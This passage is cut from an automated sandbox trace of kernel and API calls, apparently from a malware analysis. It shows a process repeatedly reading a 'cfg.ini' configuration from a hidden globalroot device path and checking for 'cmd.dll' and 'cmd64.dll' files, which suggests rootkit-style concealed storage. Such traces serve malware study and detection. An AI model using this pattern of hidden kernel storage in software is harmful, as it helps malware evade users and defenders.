CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd8000 [0121.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.811] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.811] IdePortDispatch () returned 0x103 [0121.811] KeWaitForMutexObject () returned 0x0 [0121.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.812] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.812] IdePortDispatch () returned 0x103 [0121.812] KeWaitForMutexObject () returned 0x0 [0121.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.812] KeLeaveCriticalRegion () [0121.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.812] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.812] KeEnterCriticalRegion () [0121.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.812] KeLeaveCriticalRegion () [0121.813] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.813] KeEnterCriticalRegion () [0121.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.813] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6170, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.813] KeLeaveCriticalRegion () [0121.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.813] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.813] KeEnterCriticalRegion () [0121.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.813] ExFreePoolWithTag (P=0xfffffa8003bc60b0, Tag=0x0) [0121.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.813] KeLeaveCriticalRegion () [0121.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.813] ReleaseMutex (hMutex=0xf0) returned 1 [0121.813] Sleep (dwMilliseconds=0x124f80) [0121.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.827] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.827] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.827] KeEnterCriticalRegion () [0121.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.827] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.827] IdePortDispatch () returned 0x103 [0121.827] KeWaitForMutexObject () returned 0x0 [0121.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.827] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.827] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.827] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.827] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.827] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6f10 [0121.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.827] KeLeaveCriticalRegion () [0121.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.827] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.827] KeEnterCriticalRegion () [0121.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.827] KeLeaveCriticalRegion () [0121.827] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.827] KeEnterCriticalRegion () [0121.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.828] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.828] IdePortDispatch () returned 0x103 [0121.828] KeWaitForMutexObject () returned 0x0 [0121.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.828] KeLeaveCriticalRegion () [0121.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.828] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.828] KeEnterCriticalRegion () [0121.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdd000 [0121.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.828] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.828] IdePortDispatch () returned 0x103 [0121.829] KeWaitForMutexObject () returned 0x0 [0121.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.829] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.829] IdePortDispatch () returned 0x103 [0121.829] KeWaitForMutexObject () returned 0x0 [0121.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.829] KeLeaveCriticalRegion () [0121.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.830] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.830] KeEnterCriticalRegion () [0121.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] KeLeaveCriticalRegion () [0121.830] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.830] KeEnterCriticalRegion () [0121.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc63d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] KeLeaveCriticalRegion () [0121.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.830] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.830] KeEnterCriticalRegion () [0121.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] ExFreePoolWithTag (P=0xfffffa8003bc6f10, Tag=0x0) [0121.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] KeLeaveCriticalRegion () [0121.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.830] ReleaseMutex (hMutex=0xf0) returned 1 [0121.830] Sleep (dwMilliseconds=0x124f80) [0121.846] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.846] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.846] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.846] KeEnterCriticalRegion () [0121.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.846] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.846] IdePortDispatch () returned 0x103 [0121.846] KeWaitForMutexObject () returned 0x0 [0121.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.846] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.846] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.846] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.846] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.846] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc60b0 [0121.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.846] KeLeaveCriticalRegion () [0121.846] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.846] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.846] KeEnterCriticalRegion () [0121.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.846] KeLeaveCriticalRegion () [0121.846] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.847] KeEnterCriticalRegion () [0121.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.847] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.847] IdePortDispatch () returned 0x103 [0121.847] KeWaitForMutexObject () returned 0x0 [0121.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.847] KeLeaveCriticalRegion () [0121.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.847] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.847] KeEnterCriticalRegion () [0121.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be2000 [0121.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.847] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.847] IdePortDispatch () returned 0x103 [0121.847] KeWaitForMutexObject () returned 0x0 [0121.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.847] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.847] IdePortDispatch () returned 0x103 [0121.847] KeWaitForMutexObject () returned 0x0 [0121.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.848] KeLeaveCriticalRegion () [0121.848] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.848] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.848] KeEnterCriticalRegion () [0121.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.848] KeLeaveCriticalRegion () [0121.848] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.848] KeEnterCriticalRegion () [0121.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.848] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.848] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.848] KeLeaveCriticalRegion () [0121.848] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.848] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.849] KeEnterCriticalRegion () [0121.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.849] ExFreePoolWithTag (P=0xfffffa8003bc60b0, Tag=0x0) [0121.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.849] KeLeaveCriticalRegion () [0121.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.849] ReleaseMutex (hMutex=0xf0) returned 1 [0121.849] Sleep (dwMilliseconds=0x124f80) [0121.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.863] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.863] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.863] KeEnterCriticalRegion () [0121.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.863] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.864] IdePortDispatch () returned 0x103 [0121.864] KeWaitForMutexObject () returned 0x0 [0121.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.864] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.864] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.864] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.864] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.864] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd6a0 [0121.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.864] KeLeaveCriticalRegion () [0121.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.864] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.864] KeEnterCriticalRegion () [0121.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.864] KeLeaveCriticalRegion () [0121.864] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.864] KeEnterCriticalRegion () [0121.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.864] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.864] IdePortDispatch () returned 0x103 [0121.864] KeWaitForMutexObject () returned 0x0 [0121.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.864] KeLeaveCriticalRegion () [0121.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.865] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.865] KeEnterCriticalRegion () [0121.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be7000 [0121.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.865] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.865] IdePortDispatch () returned 0x103 [0121.865] KeWaitForMutexObject () returned 0x0 [0121.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.865] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.865] IdePortDispatch () returned 0x103 [0121.865] KeWaitForMutexObject () returned 0x0 [0121.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.865] KeLeaveCriticalRegion () [0121.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.866] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.866] KeEnterCriticalRegion () [0121.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] KeLeaveCriticalRegion () [0121.866] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.866] KeEnterCriticalRegion () [0121.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.866] FsRtlFastUnlockAll 